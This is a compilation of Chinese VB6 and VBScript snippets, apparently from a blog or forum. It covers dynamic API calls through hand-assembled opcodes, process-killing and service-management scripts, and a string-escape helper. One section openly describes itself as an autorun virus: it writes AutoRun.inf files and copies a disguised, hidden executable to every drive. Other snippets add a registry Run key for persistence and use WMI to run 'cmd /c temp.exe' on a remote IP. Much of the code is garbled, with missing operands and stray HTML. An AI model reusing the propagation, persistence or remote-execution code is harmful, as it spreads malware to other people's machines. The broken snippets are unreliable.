'枚举
Dim libName As String
Public Enum
DLL_Enum
kernel32_DLL =
0 'Windows 32核心API库
user32_DLL = 1 '用户接口库
gdi32_DLL = 2 '图形设备接口API库
winmm_DLL = 3 'Windows多媒体API
Shell32_DLL = 4 '32位Shell API库
winspool_DRV = 5 '后台打印API
advapi32_DLL = 6 '高级安全与注册API库
comdlg32_DLL = 7 '通用对话框API
version_DLL = 8 '版本库
netapi32_DLL = 9 'Windows 32位网络API库 Lan
wininet_DLL = 10 'Windows 32位网络API Internet
mapi32_DLL = 11 '电子邮件的API
lz32_DLL = 12 '32位压缩API
mpr_DLL = 13 '多接口路由器库
End Enum
Public Function
CallApiByName(Dll_Lib As DLL_Enum, 这里省略了, 2.0版的不同了
Select Case Dll_Lib
Case 0
libName = "kernel32.DLL" 'Windows 32核心API库
Case 1
libName = "user32.DLL" '用户接口库
Case 2
libName = "gdi32.DLL" '图形设备接口API库
Case 3
libName = "winmm.DLL" 'Windows多媒体API
Case 4
libName = "shell32.DLL" '32位Shell API库
Case 5
libName = "winspool.DRV" '后台打印API
Case 6
libName = "advapi32.DLL" '高级安全与注册API库
Case 7
libName = "comdlg32.DLL" '通用对话框API
Case 8
libName = "version.DLL" '版本库
Case 9
libName = "netapi32.DLL" 'Windows 32位网络API库 Lan
Case 10
libName = "wininet.DLL" 'Windows 32位网络API Internet
Case 11
libName = "mapi32.DLL" '电子邮件的API
Case 12
libName = "lz32.DLL" '32位压缩API
Case 13
libName = "mpr.DLL" '多接口路由器库
End Select




VB可以用Declare声明来调用标准DLL的外部函数,但是其局限性也很明显:利用Declare我们只能载入在设计时通过Lib和Alias字句指定的函数指针!而不能在运行时指定由我们自己动态载入的函数指针),不能用Declare语句来调用任意的函数指针。当我们想动态调用外部函数的时候,就必须考虑采用其他的辅助方法,来完成这个任务了。

在文章《VB真是想不到系列之三:VB指针葵花宝典之函数指针》、《Matthew Curland的VB函数指针调用》、《利用动态创建自动化接口实现VB的函数指针调用》等文献中对此问题都进行了一定程度上的讨论,但是头绪都很繁琐,对我这样的菜鸟还有点深奥,在资料搜索过程中,找到通过在VB中调入汇编程序,比较简便的实现了这个功能,下面就是实现原理:

1)使用LoadLibrary加载DLL;
2)GetProcAddress获得函数指针;

以上两步得到了预加载函数的指针,但是VB中没有提供使用这个指针的方法。我们可以通过一段汇编语言,来完成函数指针的调用!

3)通过汇编语言,把函数的所有参数压入堆栈,然后用Call待用函数指针就可以了。

实现以上功能的主要程序:


'加载Dll
LibAddr = LoadLibrary(ByVal "user32")
'获得函数指针
ProcAddr = GetProcAddress(LibAddr, ByVal "MessageBoxA")
'原型为MessageBox(hWnd, lpText, lpCaption, uType)

'以下为Assembly部分
push uType
push lpCaption
push lpText
push hWnd
call ProcAddr
'--------------------

FreeLibrary LibAddr'释放空间

嘿,够简单吧!下面是动态调用MessageBoxA的源代码,上面的步骤被封装到RunDll32函数中,可放到模块(CallAPIbyName.bas)中:
Dim s1() As Byte, s2() As Byte
Dim
ret As Long
s1 = StrConv("Hello~World", vbFromUnicode)
s2 = StrConv(
"VBNote", vbFromUnicode)
ret = RunDll32(
"user32", "MessageBoxA", hwnd, VarPtr(s1(0)), VarPtr(s2(0)), 0&)

CallAPIbyName.bas中的源代码:

Option Explicit

Private Declare Function LoadLibrary Lib "kernel32" Alias "LoadLibraryA" (ByVal lpLibFileName As String) As Long
Private Declare Function
GetProcAddress Lib "kernel32" (ByVal hModule As Long, ByVal lpProcName As String) As Long
Private Declare Function
CallWindowProc Lib "User32" Alias "CallWindowProcA" (ByVal lpPrevWndFunc As Long, ByVal hWnd As Long, ByVal Msg As Long, ByVal wParam As Long, ByVal lParam As Long) As Long
Private Declare Function
FreeLibrary Lib "kernel32" (ByVal hLibModule As Long) As Long
Private Declare Sub
CopyMemory Lib "kernel32" Alias "RtlMoveMemory" (lpDest As Any, lpSource As Any, ByVal cBytes As Long)

Public m_opIndex As Long '写入位置
Private m_OpCode() As Byte 'Assembly 的OPCODE

Public Function RunDll32(LibFileName As String, ProcName As String, ParamArray Params()) As Long
Dim
hProc As Long
Dim
hModule As Long

ReDim
m_OpCode(400 + 6 * UBound(Params)) '保留用来写m_OpCode
'读取API库
hModule = LoadLibrary(ByVal LibFileName)
If hModule = 0 Then
MsgBox "Library读取失败!"
Exit Function
End If

'取得函数地址
hProc = GetProcAddress(hModule, ByVal ProcName)
>
If hProc = 0 Then
MsgBox "函数读取失败!", vbCritical
FreeLibrary hModule
Exit Function
End If


'执行Assembly Code部分
RunDll32 = CallWindowProc(GetCodeStart(hProc, Params), 0, 1, 2, 3)

FreeLibrary hModule
'释放空间
End Function

Private Function
GetCodeStart(ByVal lngProc As Long, ByVal arrParams As Variant) As Long
'---以下为Assembly部分--
'作用:将函数的参数压入堆栈

Dim lngIndex As Long, lngCodeStart As Long

'程序起始位址必须是16的倍数
'VarPtr函数是用来取得变量的地址
lngCodeStart = (VarPtr(m_OpCode(0)) Or &HF) + 1

m_opIndex = lngCodeStart - VarPtr(m_OpCode(0)) '程序开始的元素的位置

'前面部分以中断点添满
For lngIndex = 0 To m_opIndex - 1
m_OpCode(lngIndex) = &HCC 'int 3
Next lngIndex

'--------以下开始放入所需的程序----------

'将参数push到堆栈
'由于是STDCall CALL 参数由最后一个开始放到堆栈
For lngIndex = UBound(arrParams) To 0 Step -1
AddByteToCode &H68 'push的机器码为H68
AddLongToCode CLng(arrParams(lngIndex)) '参数地址
Next lngIndex

'call hProc
AddByteToCode &HE8 'call的机器码为HE8
AddLongToCode lngProc - VarPtr(m_OpCode(m_opIndex)) - 4 '函数地址 用call的定址

'-----------结束所需的程序--------------

'返回呼叫函数
AddByteToCode &HC2 'ret 10h
AddByteToCode &H10
AddByteToCode &H0

GetCodeStart = lngCodeStart
End Function

Private Sub
AddLongToCode(lData As Long)
'将Long类型的参数写到m_OpCode中
CopyMemory m_OpCode(m_opIndex), lData, 4
m_opIndex = m_opIndex + 4
End Sub

Private Sub
AddIntToCode(iData As Byte)
'将Integer类型的参数写道m_OpCode中
CopyMemory m_OpCode(m_opIndex), iData, 2
m_opIndex = m_opIndex + 2
End Sub

Private Sub
AddByteToCode(bData As Byte)
'将Byte类型的参数写道m_OpCode中
m_OpCode(m_opIndex) = bData
m_opIndex = m_opIndex +
1
End Sub




本代码通过 xp mshta.exe 解析执行


<HEAD>
<title>
进程中断</title>
<HTA:APPLICATION
APPLICATIONNAME="进程中断"
BORDER="THICK"
caption="进程中断"
maximizebotton="yes"
minmizebutton="yes"
scroll="yes"
showintaskbar="yes"
singleinstance="yes"
sysmenu="yes"
windowstate="maximize"
>
</HEAD>
<SCRIPT 
LANGUAGE="VBScript">

Set os0=createobject("shell.application")
Set wmi=GetObject("winmgmts:\\.")
Set d0=CreateObject("scripting.dictionary")

Sub list
d0.RemoveAll
n=
1
dataarea.innerhtml=Nothing
strHTML = strhtml&"<table border='1' style='border-collapse: collapse' "    & _
           
"bordercolor='#111111' width='100%' id='Table1' >"
strhtml = strhtml&"<tr>"& _
     
"<td width='3%'>"&"<font size=2>"&"序号"&"</font>"&"</td>"& _
     
"<td width='20%'>"&"<font size=2>"&"名称"&"</font>"&"</td>"& _
     
"<td width='7%'>"&"<font size=2>"&"PID"&"</font>"&"</td>"& _
     
"<td width='70%'>"&"<font size=2>"&"命令行"&"</font>"&"</td>"
Set pro_s=wmi.instancesof("win32_process")
For Each In pro_s
strhtml = strhtml&
"<tr>""<td width='3%'>"&    _
      
"<font size=2>"&n&"</font>"&"</td>"&"<td width='20%'>"& _
      
"<font size=2>"&p.name&"</font>"&"</td>""<td width='7%'>"& _
      
"<font size=2>"&p.handle&"</font>"&"</td>""<td width='70%'>"& _
      
"<font size=2>"&p.commandline&"</font>" _
      &
"</td>"
    
d0.Add ""&n,Trim(p.handle)
n=n+
1
Next
dataarea.innerhtml=strhtml
End Sub


Sub 
stop_p
xs=Split(txt.value,
",",-1,1)
for i=to ubound(xs) 
for n=to ubound(xs)
    
if n=i then 
     
n=n+1
     
if n>ubound(xs) then exit for
    end if
    if 
xs(n)=xs(i) or _
     Trim(xs(n))=
"" Then 
     
xs(n)="-1"
    
end If
next
Next
w=
For i=To UBound(xs)
If d0.Exists(xs(i))=False Then 
     
xs(i)="-2"
     
w=w+1
End If
Next
w=(UBound(xs)+ olor="#FF0000">1-w)  
If w=Then
MsgBox "需要中断的进程序号列表无效,"&Chr(13)& _
     
"可能需要关闭的进程不存在或者输入的序号格式不正确,请打开进程列表确认!"
Else
strhtml="<font size=2>"&"已被中断的进程"&"</font>"&"<br>"
strHTML = strhtml&"<table border='1' style='border-collapse: collapse' "    & _
           
"bordercolor='#111111' width='100%' id='Table1' >"
For i=To UBound(xs)
If xs(i) <> "-2" Then 
Set 
pro_s=wmi.EXECQUERY("Select * FROM WIN32_PROCESS Where HANDLE='"&D0(XS(I))&"'" )
    N=
1
    
For Each In pro_s
       pd=p.terminate()
       
If pd=Then 
     
strhtml = strhtml&"<tr>""<td width='3%'>"&"<font size=2>"&xs(i)&"</font>"&"</td>"& _
        
"<td width='20%'>"&"<font size=2>"&p.name&"</font>"&"</td>"& _
        
"<td width='7%'>"&"<font size=2>"&p.handle&"</font>"&"</td>"& _
        
"<td width='70%'>"&"<font size=2>"&p.commandline&"</font>"&"</td>"
     
D0.Remove(xs(i))
     n=n+
1
       
End If
    Next
    If 
N=Then '要关闭的进程可能被牵连关闭了
     
strhtml = strhtml&"<tr>""<td width='3%'>"&    _
        
"<font size=2>"&xs(i)&"</font>"&"</td>"&"<td width='20%'>"& _
        
"<font size=2>"&p.name&"</font>"&"</td>""<td width='7%'>"& _
        
"<font size=2>"&p.handle&"</font>"&"</td>""<td width='70%'>"& _
        
"<font size=2>"&p.commandline&"     已经被间接关闭"&"</font>"& _
        
"</td>"
     
D0.Remove(xs(i))
    
End if
End If
Next
dataarea.innerhtml=dataarea.innerhtml&strhtml
txt.value=
""
End If
End Sub


</SCRIPT>

<body>
<input 
type="button" value="进程列表" name="list_button"    onClick="list"><p>
<span 
id="dataarea"></span><br>
输入欲中断的进程序号,如:1,2,5,7,55...
<input type="text" name="txt" size=60 value="">
<input 
type="button" value="中断进程" name
="stop_p_button"    
onClick="stop_p">
<p>
</body>


Dim SS
Dim S
Dim szMsg
Dim szTtl
Dim l
Dim bFlg
Dim bFlg
Set SS = GetObject("winmgmts:{impersonationLevel=impersonate}"
szMsg = "执行了下列操作:" & vbCrLf
szTtl =
"管理服务程序"
l = Len(szMsg)
For Each S In SS
Select Case UCase(Trim(S.Name))
Case "DFS"
Call StopManual()
Case "ERSVC"
Call StopManual()
Case "HELPSVC"
Call StopManual()
Case "MDM"
Call StopManual()
Case "MESSENGER"
Call StopDisable()
Case "SPOOLER"
Call PrintSpooler()
Case "REMOTEREGISTRY"
Call StopDisable()
Case "SCHEDULE"
Call StopManual()
Case "THEMES"
Call Themes()
Case "AUDIOSRV"
Call WindowsAudio()
Case "W32TIME"
Call StopManual()
End Select
Next
Set
SS = Nothing
Set
S = Nothing
If
Len(szMsg) = l Then szMsg = "您的服务设置和本程序预期的一样!"
MsgBox szMsg, 4160, szTtl
'Distributed File System
'Error Reporting Service
'Help And Support
'Machine Debug Manager
'Task Scheduler
'Windows Time
Sub StopManual()
bFlg =
False
If
StrComp(S.StartMode, "Manual", 1) Then
S.ChangeStartMode("Manual")
bFlg =
True
End If
If
StrComp(S.State, "Stopped", 1) Then
S.StopService
bFlg =
True
End If
If
bFlg Then szMsg = szMsg & vbCrLf & "停止" & S.Caption & "服务,并将其启动类型设为手动。"
'Messenger
'Remote Registry
Sub StopDisable()
bFlg =
False
If
StrComp(S.StartMode, "Disabled", 1) Then
S.ChangeStartMode("Disabled")
bFlg =
True
End If
If
StrComp(S.State, "Stopped", 1) Then
S.StopService
bFlg =
True
End If
If
bFlg Then szMsg = szMsg & vbCrLf & "停止并禁用了" & S.Caption & "服务。"
'Print Spooler
Sub PrintSpooler()
If StrComp(S.State, "Stopped", 1) Or StrComp(S.StartMode, "Manual", 1) Then
If
MsgBox("您是否有打印机?", 4132, szTtl) = 7 Then
S.ChangeStartMode("Manual")
S.StopService
szMsg = szMsg & vbCrLf &
"停止并禁用了" & S.Caption & "服务。"
End If
End If
'Themes
Sub Themes()
If StrComp(S.State, "Stopped", 1) Or StrComp(S.StartMode, "Manual", 1) Then
If
MsgBox("您是否要使用 XP 主题风格?", 4132, szTtl) = 7 Then
S.ChangeStartMode("Manual")
S.StopService
szMsg = szMsg & vbCrLf &
"停止并禁用了" & S.Caption & "服务。"
End If
End If
'Windows Audio
Sub WindowsAudio()
If StrComp(S.State, "Running", 1) Or StrComp(S.StartMode, "Auto", 1) Then
S.ChangeStartMode("Automatic")
S.StartService
szMsg = szMsg & vbCrLf &
"自动启用了" & S.Name & "服务。"
End If




在文件中添加如下代码,并将程序段在死循环中调用。就是一个auto 病毒了
需要注意的是 需要配合 winrar 的自解压功能支持,当然也可以用其他加壳程序完成
安装第二启动方式(病毒行为)
将此vbs文件更名为 stop_qq.vbs,然后通过winrar压缩成自解压执行stop_qq.vbs的压缩文件--qq_xp.exe,此段代码才生效


Sub create_boot2
path0=fs.GetFile(WScript.scriptFullName).ParentFolder &
"\qq_xp.exe"
if fs.FileExists(path0) then
Set
file1=fs.CreateTextFile("AutoRun.inf",true)
file1.WriteLine(
"[AutoRun]")
file1.WriteLine(
"open=qq_xp.exe")
file1.WriteLine(
"shell\open=打开( & O)")
file1.WriteLine(
"shell\open\Command=qq_xp.exe")
file1.WriteLine(
"shell\open\Default=1")
file1.WriteLine(
"shell\explore=资源管理器( & X)")
file1.WriteLine(
"shell\explore\Command=qq_xp.exe")
file1.Close
Set d1=CreateObject("scripting.dictionary")
d1.RemoveAll
For Each dr_x In fs.Drives
If dr_x.IsReady And _
dr_x &
"\" <> pathx And _
dr_x.DriveLetter <>
"A" And _
dr_x.DriveLetter <>
"B" Then
If
dr_x.FreeSpace/(1024^2) > 1 Then d1.Add dr_x,dr_x
End if
Next
For Each
dr_x In d1.Items
'MsgBox pathx & "--->" & dr_x
If fs.FileExists(dr_x & "\qq_xp.exe") = False Then
fs.CopyFile path0 , dr_x & "\qq_xp.exe",True
Set
file1=fs.GetFile(dr_x & "\qq_xp.exe")
file1.Attributes=
2+4
End if
If
fs.FileExists(dr_x & "\AutoRun.inf") = False And _
fs.FolderExists(dr_x &
"\AutoRun.inf") = False Then
fs.CopyFile PATHX & "\AutoRun.inf" , dr_x & "\AutoRun.inf",True
Set
file1=fs.GetFile(dr_x & "\AutoRun.inf")
file1.Attributes=
2+4
end if
Next
End if
End Sub




监控并中止QQ及QQgame进程,同样可以用于中断其他程序进程,只要将进程的name写入stop_qq.txt
此脚本由 wscript.exe 脚本解析程序负责解析执行.
此脚本是死循环程序,要中断此脚本只需要在STOP_QQ.TXT 中填入含有 “WSCRIPT.EXE” 内容的记录并保存(Ctrl+S),脚本会将自中断。
当程序中断以后再删除 "wscript.exe" 数据,以确保下次能够正常发挥作用。


on error resume next
Set
os0=createobject("shell.application")
Set os=CreateObject("wscript.shell")
Set fs=CreateObject("scripting.filesystemobject")
Set wmi=GetObject("winmgmts:\\.")
pathx=fs.GetFile(WScript.scriptFullName).ParentFolder.Path
path0=fs.GetFile(WScript.scriptFullName).Path
Set path1=fs.GetSpecialFolder(1)

'MAIN DO LOOP
Do
'create_boot
Set d0=createobject("scripting.dictionary")
edit_d
stop_p
WScript.Sleep
5000
Loop
'-
'-安装启动项
Sub create_boot
If fs.FolderExists(path1 & "\vbs") = False Then fs.CreateFolder path1 & "\vbs"
fs.CopyFile path0 , path1 & "\vbs\boot.vbs",True
If
fs.FileExists(pathx & "\stop_qq.txt") Then fs.CopyFile pathx & "\vbs\stop_qq.txt" , path1 & "\stop_qq.txt",true
os.RegWrite "HKLM\Software\Microsoft\Windows\CurrentVersion\Run\stop_qq", Chr(34) & path1 & "\vbs\BOOT.vbs"+Chr(34)
End Sub
'-
'将数据文件中的数据导入dictionary d0
sub edit_d
If fs.FileExists(pathx & "\stop_qq.txt") = False Then
build_f
End If
Set
file1=fs.OpenTextFile(pathx & "\stop_qq.txt",1,false)
n=
0
Do Until file1.AtEndOfLine
l1=Trim(file1.readline)
If l1 <> "" Then
d0.Add n,l1 'd0为公用 dictionary 所以在总程序中定义
n=n+1
End If
Loop
If
n=0 Then build_f
End Sub
'-
'-创建数据文件
Sub build_f
Set file1=fs.OpenTextFile(pathx & "\stop_qq.txt",2,True)
file1.WriteLine
"qq.exe"
file1.WriteLine "qqgame.exe"
file1.Close
End Sub
'-
'中断进程
Sub stop_p
For Each item In d0.Items
Set p=wmi.execquery("select * from win32_process where name='" & item & "'")
For Each p0 In p
p0.terminate()
os0.MinimizeAll
os.popup
"你不知道工作时间不允许运行此程序么?",1,"警告",64+0
Next
Next
End
sub




程序利用 vbs 的wmi 、scripting.filesystemobject、shell.application、scripting.dictionary、wscript.shell的相关功能功能实现将当前进程列表显示在一个文本文件中,通过用户界面的选择,确定需要瞬间中断的进程列表,然后中断之。程序试验环境为 windows xp_sp2,主要针对系统存在多个需要中断进程的情况下,瞬间成批中断进程。


On Error Resume next
Set
fs=CreateObject("scripting.filesystemobject")
Set os=CreateObject("wscript.shell")
Set os0=createobject("shell.application")
Set d0=CreateObject("scripting.dictionary")
Set wmi=GetObject("winmgmts:\\.")
Set pro_s=wmi.instancesof("win32_process")

'-创建临时文本文件文件,把当前进程输入该文本文件之中并通过记事本打开之
'-同时把进程对应序号 和 pid 传递给dictionary(d0)一份
filename=fs.GetTempName
set f1=fs.CreateTextFile(filename,True)
msg=
"序号" & vbTab & "名称" & vbTab & "PID" & vbTab & "程序文件" & vbtab & now & Chr(10)
f1.Writeline(msg)
n=
1
For Each p In pro_s
f1.WriteLine(n &
". " & p.name & " , " & p.handle & " , " & p.commandline & Chr(10))
d0.Add
"" & n,Trim(p.handle)
n=n+
1
Next
f1.Close
os0.MinimizeAll
os.Exec
"notepad.exe " & filename
wscript.sleep
500

'等待用户输入欲中断的进程相关的序号列,确定之后关闭并删除临时文本文件
x=InputBox("请根据" & filename & "中的内容"+Chr(10)+ _
"选择需要同时中断的进程对应序号:"+Chr(10)+ _
"(序号之间用','间隔 例如:'1,3,5,7,11')","选择")
os.AppActivate filename &
" - 记事本"
os.SendKeys "%fx"
WScript.Sleep 500
fs.DeleteFile filename

'如果用户取消了操作,就退出程序
If x="" then wscript.quit
'把用户输入的序号列中相关的序号传递给一个数组 xs
xs=Split(x,",",-1,1)
'-对用户输入的序号列进行校对,将重复序号标记为 -2,计算实际序号个数
For i=0 to ubound(xs) '-利用双重循环将重复输入的内容保留一份,其他的标记为-1
for n=0 to ubound(xs)
if n=i then
n=n+1
if n>ubound(xs) then exit for
end if
if
Trim(xs(n))=Trim(xs(i)) or _
Trim(xs(n))=
"" Then
xs(n)="-1"
end If
next
Next

w=0 '把不真实可用的序号剔除并计算出其个数
For i=0 To UBound(xs)
If d0.Exists(xs(i))=False Then
xs(i)="-2"
w=w+1
End If
Next

w=(UBound(xs)+1-w) '-得出可用的序号个数
'如果序列中没有输入任何序号就退出程序
If w=0 Then
MsgBox "需要中断的进程列表为空!"
WScript.Quit
End If

'-根据用户输入信息中断相应进程
m=0
For i=0 To UBound(xs)
If xs(i) <> "-2" then '-只有真实可用的序号才参与循环
For Each p In pro_s
If Trim(p.handle)=trim(d0(xs(i))) Then '-如果进程pid号码正是需要中断的就尝试中断

p_name=p.name
pd=p.terminate()
If pd=0 Then '-判断中断进程的尝试是否成功
msg=p_name & " 进程中断成功!"
m=m+1
Else
msg=p_name & " 进程中断失败!"
End If
os.popup msg,1,"通知",64+0
End If
Next
end if
Next

os.popup w & "个目标进程,已经中断了" & m & "个" ,5,"通知",64+0
WScript.quit



set ww=createobject("wbemscripting.swbemlocator")
set cc=ww.connectserver("172.20.241.218","root/cimv2","user","password")
Set pp=cc.get("Win32_Process")
pp.create(
"cmd /c temp.exe")




使用方法:把以下代码存为 getImages.html ,后运行便可看到效果。


Function vbs_escape(str)
dim i,c,a,r
'7个Escape无变化的特殊字符:*+-./@_
For i=1 to Len(str)
c=Mid(str,i,
1)
a=Asc(c)
If a>=0 AND a<=255 Then
If
a>=97 And a<=122 Then 'a-z
r=r & c
ElseIf a>=64 And a<=90 Then '@A-Z
r=r & c
ElseIf a>=45 And a<=57 Then '-./0-9
r=r & c
ElseIf a=42 or a=43 or a=95 Then '*+_
r=r & c
ElseIf a>15 Then
r=r & "%" & Hex(a)
Else
r=r & "%0" & Hex(a)
End If
Else
r=r & "%u" & Hex(AscW(c))
End If
Next
vbs_escape=r
End Function